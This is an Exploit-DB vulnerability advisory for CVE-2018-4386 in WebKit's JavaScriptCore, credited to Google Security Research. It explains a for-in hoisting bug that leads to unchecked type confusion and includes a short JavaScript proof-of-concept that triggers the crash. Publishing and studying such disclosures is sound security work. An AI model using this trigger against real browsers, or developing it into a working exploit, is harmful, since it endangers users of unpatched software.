WebKit JSC - BytecodeGenerator::hoistSloppyModeFunctionIfNecessary Does not Invalidate the 'ForInContext' Object

EDB-ID: 45912
Author: Google Security Research
Published: 2018-11-29
CVE: CVE-2018-4386
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 This is simillar to  issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check. 
  
 PoC: 
 */ 
  
 function trigger() { 
     let o = {a: 1}; 
     for (var k in o) { 
         { 
             k = 0x1234; 
  
             function k() { 
  
             } 
         } 
  
         o[k]; 
     } 
 } 
  
 trigger();

Source: old.exploit-db.com